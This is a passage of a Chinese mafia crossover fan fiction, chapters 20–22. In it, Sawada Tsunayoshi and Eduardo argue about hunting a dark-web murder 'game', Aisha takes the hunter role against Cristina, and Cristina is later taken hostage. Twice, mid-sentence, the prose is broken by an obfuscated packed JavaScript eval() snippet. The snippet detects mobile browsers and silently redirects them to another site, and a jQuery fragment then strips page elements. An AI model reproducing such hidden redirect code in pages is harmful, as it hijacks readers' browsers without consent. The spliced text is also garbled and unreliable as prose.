她的“特殊能力”告诉她,对方丝毫没有夸大其词的意思。 -- “哈哈,蒂娜看起来是吃瘪了……”男人拈开两指,遥遥窥视着花园里的对峙。 “…爱德华多,你面前的并不是百叶窗。”年轻的首领发出善意的提醒。 “只是觉得这种情况就该搭配百叶窗么。”爱德华多讪讪收回了手。 他今年七十四岁,头发已经全白。这个男人自Ⅷ世时代开始就对彭格列家族尽忠,这两年虽然渐居幕后,但仍然是高层中举足轻重的存在。 爱德华多走到沢田纲吉面前单膝跪下,恭敬地行了吻手礼。他的动作标准至极,甚至相当肃穆……如果刻意忽略他身上那件花里胡哨的夏威夷衬衫的话。 “夏威夷好玩么?”沢田坦然受之,并在爱德华多重新站起来后微笑着寒暄。 “哦,当然。”爱德华多眉飞色舞,“热带地区的美人热情极了。您真该看看Timoteo被她们团团围住的窘迫样子。” 闻言,沢田纲吉礼貌地笑了一下。 “还要感谢你为这次的复活节舞会提供场地,那栋别墅……令人印象深刻。”他脑中不由自主地浮现出艾莎那句“现代金皮卡”的吐槽。 “这是蒂娜要求的。我总不能拒绝我亲爱的女儿的请求嘛。”爱德华多轻快地说,“那孩子原本计划当众邀您担任她成人舞会的舞伴,然后她要在成人舞会上向您求婚来着。” 沢田纲吉:“……” “不过看起来是失败啦,叫我这个老头子松了口气。多亏您今年带去的舞伴,她看上去真棒,长相和身材都有点像苏菲·玛索。”爱德华多情真意切地说。 “…谢谢。我会向菲转达你的称赞。”沢田道。 爱德华多微笑:“何必向我隐瞒呢,Boss。我们都知道她不叫这个名字。只有傻乎乎的蒂娜才会相信‘情人’这种说辞。” “——她和【game】有关,是么?所以Boss才把她保护得滴水不漏,我查了好久,居然连她的真名和住址都找不到。” “可我真不明白,boss,您怎么就对【game】的事念念不忘呢?” 20. 第20章 游戏邀请 【game】这个词一出口,原本那种闲谈的氛围便不见了,就好像突然有人往屋子里倒了一堆冰块。 “爱德华多,有些事总要有个了结。”沢田纲吉轻声道。 “我还是五年前的那句话。我不否认【game】的恶劣,这整件事让我感到很恶心。”爱德华多不为所动,“可它并没有触犯Mafia之间的规定——它触犯的是法律,那就让维护法律的人去对付它。” 他耸耸肩,“这些年我们老老实实地交税,不正是为了让巴勒莫的警察在这种时候派上用场么?” “这件事背后有Mafia的影子,”沢田平静地说,“交给普通警察只会徒增伤亡而已。” “伤亡、然后他们或者他们的家人会得到抚恤金,这笔钱由政府支付,来自我们缴纳的税款。”爱德华多表现得非常耐心,“这正是整个体系的运作方式,一切都很合理。” “合理但是没有必要。”沢田纲吉将整理好的文件放到一边,“爱德华多,在这件事上我们谁也说服不了谁。既然你重视规定,我们就按照规定来。” 他抬头看着面前的老人,表情沉着: “根据规定,家族高层可以在必要时召开会议。如果半数以上高层不认同首领的决定,这项决定就会被驳回。” “——如果你判断我追查【game】会危及到家族的利益,那么就召开高层会议。我们可以进行表决。” 爱德华多微笑,“就像五年前一样?” “就像五年前那样。” “可是Boss,现在不是五年前啦。”爱德华多轻轻摇头,“那时候您刚刚继任,只有一腔热血,对很多事情一窍不通。现在的您已经像一个合格的首领啦。” “高层不是我的一言堂。虽然大概还是有人会卖我一些面子,但想必更多人会选择支持您吧?就像这两年他们习惯性的那样。” 沢田纲吉没有回答,只是道: “…即便如此,爱德华多,你还是不赞同么?” “我始终认为你掺和进【game】是件危险的事。正义感和同理心对于Mafia来说是奢侈品。”爱德华多道,他不着痕迹的更换了称呼,“其他高层支持你,是因为他们觉得你已经长大了,可其实你只是不再犯错而已。我知道,骨子里你还是当年那个无论如何都不肯说出舍弃部下话语的孩子。” 他的表情同样非常平静。平静而笃定。 “Ⅹ世,你把自己天真的那一面藏得再深都没用。这个世界是很残酷的,这样的天真迟早会害死你,而你的死亡会累及整个家族。” 沢田没有说话。他想到刚来意大利的时候,家族针对他进行了一系列单独授课。他们教他如何保护自己,必要时甚至可以牺牲部下的性命。 这部分内容他学得很糟糕也很崩溃。那会儿同伴们都在其它地方学习,他一个人待在空荡荡的彭格列总部。当时陪在他身边的那个醉醺醺的酒鬼如今正静静躺在后山的墓园里。 爱德华多继续道: “还没继任的时候,你曾说过要成为新·彭格列Ⅰ世之类的话吧?那时我就问过你,新·彭格列Ⅰ世和彭格列Ⅹ世究竟有什么不同?你回答得磕磕巴巴,说出来的话好像自己也不信。现在七年过去了,Ⅹ世,你找到自己的答案了么?” 沢田其实不太记得他七年前的回答,大概是些美好但又不切实际的东西吧。 关于这个问题他至今没能有一个很好的答案。 ‘新·彭格列Ⅰ世’这个概念最初由Reborn提出,理由是“把名字改成这样感觉事情就会进展得很顺利,同时还能减轻他的心理负担。” 还是国中生的沢田一听就觉得不靠谱,毕竟内容什么的完全没有发生任何改变不是么?然而事实证明它的确管用。 最终他半推半就地来到意大利,迷茫的时候想着能继续和大家一起欢笑就好,痛苦的时候想着自己至少还有“新·彭格列Ⅰ世”这么一个含糊但听上去不赖的目标。 然后不知不觉之间,就已经走了这么远。 ‘首领’意味着一份沉甸甸的职责。身上背负的东西越来越多,现在的他早已不需要依靠着目标这种东西向前走了。 有些事情一旦成了习惯,痛苦的时候总会麻木一些。 “你不用这么拐弯抹角的提醒我。我明白你的意思。”沢田低声道,“我是彭格列的首领,无论何时我都会以家族为先。但是爱德华多,在【game】这件事上,我一步也不会退让。” “五年了,这件事必须有个了结——由我亲手了结。” 他们沉默着对视。对峙。 最终,还是爱德华多率先开口。 “真拿您没办法啊……看来短期内是回不了夏威夷了。”他无奈地挠了挠脑袋,“接下来我会拼死看住您喔?一旦出现什么需要优先解决的危机,哪怕拼上这条老命我也会进行劝诫喔?” 这是他妥协时候的语气。气氛一下子重新松弛下来。 沢田纲吉失笑:“一把年纪就不要说这种伤筋动骨的话了。” “我是认真的。彭格列的地位越稳固,反而越容易出事,特别您还是这么一个性格……在这个世界,权力的倾覆远比想象中容易。Mafia骨子里都是些会搏命的赌徒啊。” 爱德华多边说边又恭敬地行了礼。花花绿绿的夏威夷衫让他看上去很轻佻,但他其实是那种很老派的Mafia,直到今天依旧固执的遵守着一系列古板的、为时代所弃的礼仪。 “Boss,我先告辞了。好久没回总部,得去后山看看老朋友。” 沢田纲吉点了点头。后山就是墓园,爱德华多当了一辈子Mafia,那里埋葬着他的许多朋友。 办公室的门轻轻阖上。沢田独自静默的坐了一会儿,突然有些厌倦地轻吐出一口气。 -- “啊,纲吉君今天下班这么早么?”艾莎笑着朝沢田挥挥手。 “手头暂时没什么事,所以过来看看。”看到她没心没肺的笑,沢田的神情柔和了一些。 “来得正好喔。”艾莎把一叠厚厚的A4纸递给他,“刚才收到了【game】的邀请链接,这是注册时候的问题。” 她说得极其平淡。沢田纲吉不由讶然。 “注册界面是全英文的,我已经拜托翻译人员啦。因为出的问题很多,全部的翻译稿要到傍晚才能出来。”她伸了个大大的懒腰,继续抱怨道,“——简直就跟老太太的裹脚布似的,又臭又长。” 沢田低头翻看着手里的文件。他的英文水平极其一般(虽说和国中时候比算得上是突飞猛进),但这不妨碍他看懂一些基础问题。 在开头,幕后者洋洋洒洒说了一堆,表明自己神的身份,并要艾莎写下自己的愿望。 ……如果不是他的英文理解能力出了问题,艾莎的回答似乎是“希望看到幕后者把自己发射到外太空去。” 沢田纲吉:“……” “后面还有一堆心理测试题,”艾莎高贵冷艳地哼了一声,“我都按照最变态的选了。” 沢田翻到后面。的确,后面有一些图形测试,他完全不能从那些图像中看出艾莎所选的答案。 这仍然是一种挑衅。沢田纲吉立即意识到了她的意图。选出幕后者期待的回答不是为了迎合,而是表示她看穿了那些问题,并且对此不屑一顾。 她做的其实很对,挑起幕后者的怒火等同于引对方露出更多破绽。然而沢田心里还是掠过一丝说不清道不明的不快。 “注册结束之后呢?” 他不动声色地放下那叠A4纸,接着继续问道。 艾莎打开电脑页面。与阿尔伯特灰色的账号界面不同,她的则是鲜艳的红色。 一切功能全然具备,界面的左上角用惨白的阿拉伯数字标注着她的等级。 ——“8”,幕后者给了她一个出乎意料的高等级。 “和我们之前猜测的不同,游戏等级似乎并不需要经过严格的通关升级,而是由幕后者随机给出。”艾莎耸耸肩,“当然,也可能是对方格外‘欣赏’我。” 她滑动着鼠标,向沢田展示【game】的基础功能。 “其他倒是和我们想的大差不差了。只能打字交流的简陋聊天室、丰富变态的游戏形式,玩家甚至可以向幕后者提出新游戏的灵感并自己试玩——这个darkweb聚集了一帮无聊的杀人犯。”她冷冷地说。 “里面似乎还有直播功能,但是只对更高等级的玩家开放。目前我在聊天室看到的最高等级是‘8’,不知道上限是多少。”鼠标在某个页面停住,上面什么也没有,只有一个血红色的倒计时在正中滚动。 “这是【game】的游戏邀请,玩家每周至少参与一次游戏,由系统随机分配对手与形式。说是随机,幕后者大概率是可以进行操纵的。”艾莎笑笑,“还有37秒,纲吉君要和我一起等么?” “当然。”沢田轻声道。他将手搭在她身后的椅背上,与她一起冷冷凝视着屏幕正中的倒计时。 30秒,20秒,10秒,5秒,1秒。 简洁的游戏界面弹出。 “Wow...”看到屏幕正中那张有点眼熟的照片,沢田纲吉呼吸一窒,艾莎挑了挑眉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658779|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>-- 艾莎推开门。这是她在彭格列本部解锁的第四个房间,一间小型而隐秘的会议室。 沢田已经等在里面。他对面坐着双手抱胸的克里斯蒂娜(她在看到艾莎的一瞬间高傲地扭过了头),还有一个穿夏威夷衫的老头,发须皆白,看上去不太正经但和颜悦色。 老头乐呵呵地和她打了招呼,“啊呀,你就是菲奥娜·怀特小姐吧?我是爱德华多·孔蒂,叫我爱德华多就行啦。” 艾莎礼貌的和他握了握手,但要抽手的时候爱德华多没让。 “虽然看照片的时候就觉得了……”爱德华多拢着她的手微微眯眼,“菲奥娜小姐,我们是不是在哪里见过?” ——这是什么老土的搭讪台词!? 联想到爱德华多传闻中那些波澜壮阔的风流韵事,以及他在五十六岁高龄和某位年轻情人生下克里斯蒂娜的丰功伟绩,沢田与蒂娜脸色同时一沉。 艾莎倒是汗涔涔的。印象中她确实没和Mafia打过交道,可年少轻狂的时候她跟着执行部走过不少地方——大多数是处理死侍,少数牵扯到炼金设备一类的文物买卖。 万一老头也干倒卖文物的勾当,没准他们还真打过交道——她以前都是怎么和文物贩子交涉的来着?艾莎竭力回想,大抵是冷冷的扣着扳机顶在脑后…… 就在她有点遭不住老头审视的眼神时,爱德华多突然恍然大悟: “我就说嘛——你不是昂热的女儿么?我们在巴黎的拍卖会上见过。啊呀,你父亲真是个棒极了的家伙,直到今天想到被他横刀夺爱的那只宋代玉孔雀衔花玉佩我还是很心痛。”爱德华多像个老朋友一样朝她微笑,“这几年倒是没在拍卖会上打过照面了。他还好么?” 听起来倒的确像是校长的旧相识。校长常年满世界乱跑,但欧洲才是他的大本营。每年他都会回剑桥走走,然后再飞去巴黎参加一场盛大的拍卖会,带着对往昔的回忆豪掷万金。 拍卖会并非只对混血种开放,偶尔能淘到不错的东西。 “他不是我父亲,我是被收养的。”艾莎纠正道,“前不久他去世了。” 沢田纲吉看向她。她的表情非常平静。异常平静。 “哦……我很抱歉。”爱德华多神色一敛,现出淡淡的追思,“他是个很酷的家伙。很少有人能像他一样酷。” 他有些怅然的样子,像是悲哀世界上他所知道的人又少了一个。 “…谢谢。”艾莎冷淡地点了点头。 “我说,追悼会可以到此结束了吧?”克里斯蒂娜冷冷地说。 她的心情更差了,按照爱德华多的意思菲奥娜家里居然很有钱!尽管是被收养,但竟然能从爱德华多手里赢得竞拍什么的—— 想到这儿,她怨恨地看了菲奥娜一眼。万万没想到对方也将目光投射了过来,看神色居然还带着满满的赞同! 克里斯蒂娜暗自咬牙,但她不愿意再在菲奥娜·怀特面前丢失风度,因此只是冷然道: “具体的事我已经听纲吉先生说过了,”她对沢田露出一个小小的、羞涩的笑容,但看向坐在他身边的艾莎时又一秒钟恢复了高傲。“总之,我被当作这个所谓的【game】的目标了,是么?” 艾莎点了点头。 这次的游戏名叫“赶羊”。两名玩家一人负责保护,另一人负责猎杀。游戏时间三天,场地不现,三天后以羊的生死论胜负。 克里斯蒂娜就是那只“羊”。 “哼,这种无聊的游戏根本就是对彭格列家族的挑衅!我是绝对绝对不会容忍的!”克里斯蒂娜傲然拍桌。 其实她心里挺开心。她觉得自己终于和菲奥娜·怀特站在了同一起跑线上——她就说纲吉先生才不会有什么情人,原来两个人是被什么【game】绑在了一起。 但是没关系!等到她帮助纲吉先生解决掉这次的事件,纲吉先生也一定会对她另眼相看!平时的努力修行不就是为了有这样的机会么……克里斯蒂娜浮想联翩。 同时她挑剔地瞥了艾莎几眼:“希望你不要拖我的后腿。到时乖乖跟在我身后就好——不管来的人是谁,我都会让他见识到挑衅彭格列是一件多么愚蠢的事!” “当然了,看在纲吉先生的面子上、完全是看在纲吉先生的面子上,”克里斯蒂娜再次扭过头,不情不愿地补充道,“我也会保证你的安全。” 听了她的话,爱德华多叹了口气。沢田纲吉则神色微妙。 “……呃,那个,你可能误会了……”艾莎纠结地挠挠头,她意识到自己可能来早了。 “——其实我是负责猎杀你的人喔?” 21. 第21章 大和抚子 “……哈?” 克里斯蒂娜的嘴巴张成了O形。不过她很快反应过来: “……原来如此,幕后黑手是想让我们自相残杀么?真是用心险恶。” 她严肃地看向艾莎,后者羞涩地回避了她的视线。 “…啊、其实这个是我自己选的……”艾莎抓抓脑后。 克里斯蒂娜一呆:“……诶?” 她僵硬地转动脑子,试图理解艾莎说的话的意思。 半晌之后,她震惊的声音响彻狭小的会议室: “诶——????” “——你这家伙怎么回事!?可以选择的话一般都会选保护者的角色吧!?”克里斯蒂娜崩溃道。 艾莎果断摇头:“保护者太被动了,这种时候果然还是要掌握主导权才行。” “哈???” “保护者的话必须得寸步不离地守卫在身边吧?三天24小时不停歇的提防各种明枪暗箭什么的。”艾莎解释道,“猎杀者相比就很简单,可以主动……” “——主动什么?主动杀掉我吗!?”克里斯蒂娜打断了她的话,因为过于震惊,她的槽功突飞猛进,“而且这算什么解释?你根本只是怕麻烦而已吧!” “……”艾莎心虚地停顿了一下,然后继续道,“保护者什么的一听就很容易出岔子嘛。电影里不是经常有这种桥段么?大家都以为没事了的最后几分钟,突然出现了反转什么的……” “——但是猎杀者就不一样了。时机、方法、地点,一切的一切都由我掌控!”她义正言辞地说。 “连‘时机方法地点’都出来了、你果然只是想杀了我而已吧!?”克里斯蒂娜咆哮道。 “当然不会真的杀啦。做成假死就可以,你们Mafia不是有类似效果的特殊子弹么?” 艾莎捂住耳朵。现在的克里斯蒂娜仿佛一只烧开了水的茶壶,艾莎无比怀念她高贵冷艳的状态,“方法的话我推荐远距离爆头,不会有任何痛苦……” “放心,一瞬间就会结束了!”她冲克里斯蒂娜自信一笑。 “放心个鬼!不要用这种呆脸说出这么恐怖的话啊喂!”克里斯蒂娜张牙舞爪。 在她们对话的时候,房间里的两位男性不约而同的保持了沉默。女孩子说话的时候偶尔会产生一种奇妙气场,这种神秘气场叫男人完全插不了话。 完全变成一场闹剧了……沢田纲吉心想。他回忆起看到蒂娜照片的那一刻,当他尚在惊怒【game】肆无忌惮的举动并沉重思考后续对策时,身旁的艾莎已经一脸狞笑一跃而起、并疯狂点击猎杀者的身份。凭借技术部门改良过的网速以及阿宅的手速,她最终如愿以偿。 ——艾莎或许是【game】的克星也说不定。虽然心地善良但有时她的思维方式完全是个彻头彻尾的烂人……烂人专治变态。 眼看她们的对话陷入“我不是真的想杀了你……”“闭嘴你就是我不听我不听我不听!”的无限循环,沢田纲吉轻咳一声,补充道: “不用使用假死弹那么麻烦,委托给彭格列的术士就可以。虽然不知道【game】为什么一反常态的正面挑衅,但我们总要先保证蒂娜的安全。” 他看着的是爱德华多。蒂娜还没有满18岁,作为她的监护人,爱德华多在这件事上有绝对的决定权。 爱德华多微不可查的朝他点点头,然后十指交叉扭动着身体柔情似水道: “小蒂娜,之前你不是一直说想去日本玩儿么?现在正好是樱花季,上野的樱花开得可漂亮啦……” 克里斯蒂娜:“……” 她看看爱德华多、又看看隐含担忧的沢田。突然她明白了,从一开始他们就没打算让她参与【game】这件事。 他们告知她的唯一目的是为了探究她最近有没有遇到什么可疑的人、以至于被牵扯进【game】当中,等得到了想要的答案,他们就要把她送到海外去。 多么体贴啊。克里斯蒂娜想。在这三个人中她最该感谢的或许是菲奥娜·怀特,至少这个女人还想着让她参与进这次的事件中。 可她最讨厌的也是菲奥娜·怀特!纲吉先生凭什么单单对这个女人青睐有加、却不肯同样把她也纳入计划之中?她究竟哪一点比菲奥娜·怀特差!? “…我明白了。”克里斯蒂娜冷冷地说,“我会离开西西里岛,但不是现在。” “可是小蒂娜……”爱德华多欲言又止。 “如果您对我足够关心,就该知道最近我们学校正在期末考试。考试会在两天后结束,两天后我会离开西西里岛,之后随便你们让术士怎么扮成我都可以。”她漠然注视自己的父亲。 “考试什么的和学校打个招呼就行啦……”爱德华多道。 “您还记得我今年高几么?”克里斯蒂娜冷冷地打断他。 爱德华多一愣。 “我今年高三。下面的这场考试非常重要,涉及到我的毕业问题,我已经准备了很久。”克里斯蒂娜竭力保持冷静与高傲,“我不会接受让术士假扮成我代考,这对我和其他人都不公平。” 见爱德华多陷入沉默,她又转向沢田。 沢田微微皱着眉,还没有松动的迹象。 “另一名‘玩家’很可能会来接触你。蒂娜,这非常危险。” 另一名玩家的游戏等级同样是8,并且在艾莎抢到猎杀者身份后就私信发来一大堆威胁性辱骂。显然不是什么善茬。 从他的说话风格看,很有可能就是之前给莱因哈特做【新手引导】的家伙。 “白天我会一直待在学校,其余时间爱德华多的手下可以保护我。”克里斯蒂娜道。她对父亲直呼其名,两人关系大概不算好。 “而且您忘记我的‘能力’了么?如果接近我的人对我抱有恶意,我可以立即识别出来。” 她执拗地盯着沢田,“纲吉先生,我不会打乱您的计划。我只是想完成自己的考试而已。” “当然,如果纲吉先生无论如何也不同意,我会依从您的想法行事。”说是这么说,克里斯蒂娜的眼圈却隐隐泛红。但她仍倔强的昂着脑袋。 沢田沉默一会儿,最终道:“……如果爱德华多同意的话。” 爱德华多望着女儿叹了口气,也妥协道:“我明白了。” 最后,他们的计划定在第三天实施。没等他们商议具体细节,克里斯蒂娜就主动离开了会议室。 理由是反正她没必要知道他们的计划,那时候她已经在前往日本的私人飞机上了。 她冲沢田点点头、无视了爱德华多、深深看了艾莎一眼,然后重重摔上了门。 “…真是抱歉,这孩子脾气犟。”爱德华多讪讪道。 沢田轻轻摇头。艾莎耸了耸肩。 “说起来,她刚刚所说的能力是指?”艾莎有些好奇地问。记得刚见面时蒂娜就说过“不能在她面前说谎”之类的话。 “蒂娜天生可以感知到‘气场’一类的东西。”沢田解释道,“类似读心术,虽然读不出具体的想法,但能够分辨大致的情绪,比如有没有说谎、是不是别有用心之类。” “原来如此……很厉害的能力。”艾莎若有所思地点了点头。 -- 哥伦比亚酒店与圣贝罗女子学校仅仅一街之隔。只要有心借助某些特殊设备,校园里的大部分区域都能一览无余。 艾莎抱着一支北极战马格努姆趴在天台上。 这是世界上最优秀的狙击步抢之一,在装填特殊的远程狙击子弹后,有效射程可以达到1700米。如果是熟练的狙击手,这个上限还可以再次提高。 她用这把武器锁定了克里斯蒂娜所在的教室。之前说她们的高中毕业考试如何如何重要,以至于艾莎脑补了类似中国高考的东西,可瞄准镜里的景象让她大为无语。 “……呜哇、真恐怖……” 教室里,女孩们都穿着洛可可风格的长裙。这种裙子有着巨大的裙摆和反人类的收腰设计,柔和中带着艳丽的配色让她们看上去像一只只婚礼蛋糕。 她们巧笑倩兮,她们美目盼兮,她们面前摆着一只只仿真婴儿模型兮,她们在认真的给模型换尿布兮。 这个画面过于魔幻脑残,堪称艾莎心目中的鬼畜Top3. “昨天考烹饪、今天考换尿布么……高中生就给我乖乖考数学题啊喂。” 老实说艾莎对克里斯蒂娜的印象极其一般。这姑娘简直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658780|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是还生活在封建时代。 可这两天观察下来,她又觉得这也许不是克里斯蒂娜的问题。这个所谓的圣贝罗女子学校根本是一座女德学院……从老师到学生都一股子清朝味儿。 “不要把圣贝罗看作普通高中,它的目的是培养出传统的西西里女性。”冷淡而富有磁性的男声从背后传来。 艾莎的身体先是一僵,然后又慢慢放松下来。 “…Reborn先生好……”她扭头和Reborn打招呼。对方像是看穿了她一瞬间的反应,因此领受得颇为愉悦。 这两天沢田又变得十分忙碌,据说是原本几近收尾的谈判重新起了纠纷。 这件事的直接后果就是他暂时无法兼顾到【game】。在沢田的请求下,Reborn临时加入,并坐镇整个计划。 “可是圣贝罗不是由Mafia投资创办的学校么?我还以为会……嗯、更有Mafia特色一点。”艾莎心里想的是特工学校会教的那一系列东西。 “传统观念中,女眷并不真正属于Mafia的世界。她们鲜少被卷入争端,所以也不需要多少自保能力。”出乎意料的,Reborn解答得十分详细,让艾莎产生一种正在上课的错觉。 “女人的职责在家族内部。当丈夫在外面‘谈事情做买卖’的时候,妻子要做的就是做饭和带孩子;丈夫被人刺杀奄奄一息的时候,妻子还是要做饭和带孩子。至于报仇,那是男人们的事。只要妻子还在正常的做饭和带孩子,就说明这个家还没有垮。*” 他的语气并不带任何主观色彩,平淡得像是在陈述一段历史。 “…听上去有点像日本的大和抚子。Reborn先生知道大和抚子么?”艾莎问道。 “当然。不过还是愿闻其详。” “我朋友和我说过,‘抚子’在日语中是一种植物,外表纤细孱弱,但其实非常坚韧,在多种环境下都能存活。而且香气悠远,能舒缓人心。后来这个词就用来泛指具有同样品格的女性。”艾莎道,“这类女性在丈夫波澜壮阔的人生中显得很不起眼,但同时又是不可或缺的。她们意味着家和安宁之类的东西。大和抚子永远会用最美最温柔的笑容面对自己的丈夫,遇到委屈也打落牙齿往肚子里吞、尽量不让丈夫为自己的事烦心。” “即使知道丈夫要上战场送死,她们还是会强忍住心里的悲伤,笑着和丈夫说最后一声‘祝您武运昌隆’……能做到这种程度,想必需要极其温柔强大的内心吧?”反正现在也没事做,她放心的和Reborn侃大山。 “艾莎小姐做不到么?”Reborn意有所指地微笑。 “…很遗憾,我的内心既不温柔也不强大。”艾莎耸耸肩膀,“但有一点是可以确定的——” “那就是这种学校培养出的女性根本也和温柔强大沾不上边吧——学习带孩子就得拿塑料模型考验换尿布么?老实说这两天光是旁观我就觉得自己损失了一些智商……”她深恶痛绝地槽道。 “——既然如此,你又为什么坚持自己来盯梢呢?”Reborn并不理会她的吐槽,而是直接从中提取关键信息继续道,“按照计划,你只需要负责术士之后的部分就可以。” “原本的计划非常简单,把蒂娜送出国,然后由术士制造她死亡的幻觉,最后由我联系【game】。可我总觉得有哪里不对。”艾莎道,“蒂娜的行程非常简单,就是家和学校两点一线,全程汽车接送。这样的行程——最初【game】打算如何接触她呢?” “你的意思是【game】的人混入了这两‘点’之中么?” “爱德华多把家围得和铁桶一样,相比之下我更怀疑学校。”艾莎干脆地说,“再加上她的特殊能力……我真害怕她察觉到什么别人察觉不到的蛛丝马迹,然后一个人去找【game】对峙,结果被抓住变成人质什么的。” ……但愿生活不会像电视剧一样狗血。 瞄准镜里,克里斯蒂娜一不小心把自己的塑料婴儿打翻到了地上。她手忙脚乱地捡起来,然后趁着没人注意,快速把娃娃身上的灰掸掉了。 见状,艾莎毫不客气的轻轻笑了笑。 她突然觉得这孩子还是有那么一点可爱的。 22. 第22章 Flag 立Flag是个彻头彻尾的假说。艾莎一直是这么坚信的。 “打完仗就回老家结婚”结果失败什么的只是个例,事实上每次战后都能迎来一波婴儿潮;而只要事先做好充分的准备,必然能成功“干完这票金盆洗手”; 至于历史著名Flag《牢不可破的联盟》(苏联国歌)——就算它改名叫《松松垮垮的誓约》也是不能阻止苏联解体的……说不定还会加速。 没错,万事只要做好充足的准备就可以了!Flag什么的根本不存在! 这两天她已经仔细看住了克里斯蒂娜,这孩子下午在严密保护下顺利登机飞离西西里岛,绝对不可能发生什么冲动跑去和【game】对峙结果被对面抓住变成人质的蛋疼事件哈哈哈哈哈哈! 飞机的机组人员也都反复确认过身份,绝不可能出现机上人员临时反水结果克里斯蒂娜被对面抓住变成人质的蛋疼事件哈哈哈哈哈哈! 接下来只需要带着彭格列术士制作出的尸体联络【game】就好,之后上刀山也好下火海也好,总之绝不可能出现克里斯蒂娜被对面抓住变成人质的蛋疼事件哈哈哈哈哈哈! 然后艾莎打开账号界面,她发现自己赢得游戏的判定被驳回了。 信箱里只有简单的一句话: 【Thesheepisstillundertheshepherd’scare.】 ——‘羊’仍在牧羊者身侧! 艾莎表情一僵。 她刚要向专员确认克里斯蒂娜的状态,彭格列的一位文职人员就步履匆匆进了房间。 “菲奥娜小姐,刚刚爱德华多大人那边传来消息——克里斯蒂娜小姐、飞机上的克里斯蒂娜小姐是假的!您这边收到其他讯息了么?” “怎么可能?起飞前明明再三检查过。”艾莎皱眉,“我可以确定那时登机的是她本人。” 为求保险,她一直等到了飞机起飞。 “当时的确是本人没错。可起飞半小时后,克里斯蒂娜小姐的女仆突然出现身体问题……所以又紧急迫降了一次……”文职人员擦汗。 “……这么重要的事为什么不通知我?”艾莎平静地问。 文职人员避开她的视线:“是、是克里斯蒂娜小姐要求的。当时下飞机的只有她的女仆,而且也确认过不是易容——” “——结果再次起飞后,飞机上的‘克里斯蒂娜小姐’中途变回了女仆的样子,是么?”艾莎冷冷打断了他。 “您是怎么知道的?”文职人员一脸呆滞。 “因为我考虑过这种可能性。如果克里斯蒂娜拥有雾属性的火焰就可以做到这点。”艾莎道,“但你们还有她的父亲似乎都对这种可能嗤之以鼻。” 文职人员持续性呆滞,他仿佛无法理解这句话。 像克里斯蒂娜这样在圣贝罗读书的贵小姐怎么可能点燃死气之火呢?那个学校不是专门用来培养贤妻良母的么? “真是的……”看他一副搞不清状况的样子,艾莎切回中文小声嘟哝,“我宁愿有一万个神对手也不要有一个坑队友啊……” 这时私信提示音响起。点开后是一张照片。 金发的漂亮女孩被绑缚在一张椅子上,她盯着镜头后面的人,眼神不屈又愤怒。 艾莎:“……” ——被抓起来了!她真的跑去和【game】对峙结果被对面抓住变成人质了!!! 消息提示再次响起: egether,hunter.Idareyou!】 ——来找她,猎杀者。 ——你敢么? 挺嚣张的挑衅。艾莎没理会,只是抬头问道: “纲吉君今天还是不在总部么?” “是,和洛克家族的事还没有了结。爱德华多大人也和Boss在一起。” “Reborn先生呢?” “Reborn大人的话现在在档案室!”文职人员立即给艾莎带路。 -- “如果【game】的目的是挑衅彭格列,一具死尸会比一个被绑架的高层女儿价值更大。” Reborn慢条斯理地阖上手中的文件,那厚重的书写痕迹一看就已经上了年头。 “是,所以目标是我。”艾莎平静地点点头,“联络人是对面的玩家,但他本应是个不会说英语的文盲。他的账号很可能被【game】的其他人接管了。” “听上去是个很明显的陷阱。”Reborn嗤笑一声。 “那还不是得往下跳。”艾莎难免被这本可以避免的一遭坑出点怨气,她看看手机上的时间,“对方说天黑两小时后会给我一个地点,他似乎仍把这当成一场游戏。” “这不是坏事,”她冷静的分析道,“至少游戏结束前,他仍会被‘守卫者’的规则约束。我得在那之前找到克里斯蒂娜。” “艾莎小姐很热心。” 针对她明知陷阱还往下跳的行为,Reborn发出虚伪的赞扬。他嘴角的弧度怎么看怎么意味深长。 “纲吉君之前说过,【game】不能再有牺牲者了。”艾莎挠挠头,“…而且我也不想看到昨天还活蹦乱跳的人今天突然变成一具尸体哪……” 对她来说,这样的事无论发生多少次都是无法习惯的。 “需要帮手么?现在刚好有几个部下在本部。”Reborn微微挑眉。 “这样很可能会激怒对方,现在首先要确保克里斯蒂娜的安全。”艾莎思索一下道,“请派人在远处接应吧,到时使用通讯工具联络。” “——既然对方还把这当成一场游戏,我会让他知道他选错了对手。” 她帅气的宣言没能保持多久,很快她就又一脸羞涩道: “…啊、不过虽然不需要援兵,武器支援什么的还是很想要的……” Reborn看她一眼,答应得异常干脆: “当然,请跟我来。” 从外观看,彭格列总部华美而巍峨,拾掇拾掇简直可以直接变身旅游景区。然而经历了一代又一代技术部门的改造后,该建筑内部布满各种密道和隐藏房间。 又因为之前总部发生过动乱,所以额外增设了不少隐蔽的武器库,且装备常换常新。 Reborn带艾莎去的就是离档案室最近的一处。 武器库并不算大,但是五脏俱全,角落甚至还摆着一只AT4反坦克火箭筒。 艾莎安静的在库内进行挑选和武装自己,她的动作有条不紊,就像一位训练有素的士兵……或者恐怖分子。 “……虽然还不知道地点,但我猜多半是港口或者机场这种难以包围封锁的地方。”等拾掇得差不多,她严肃的问出自己最关心的问题,“如果我对场所造成破坏,彭格列是否会要求我自行赔偿?” “这是爱德华多的女儿捅出来的篓子。”Reborn淡淡地说。他正倚靠在走廊墙上,看上去很闲适,“在Mafia中他以富有著称。” 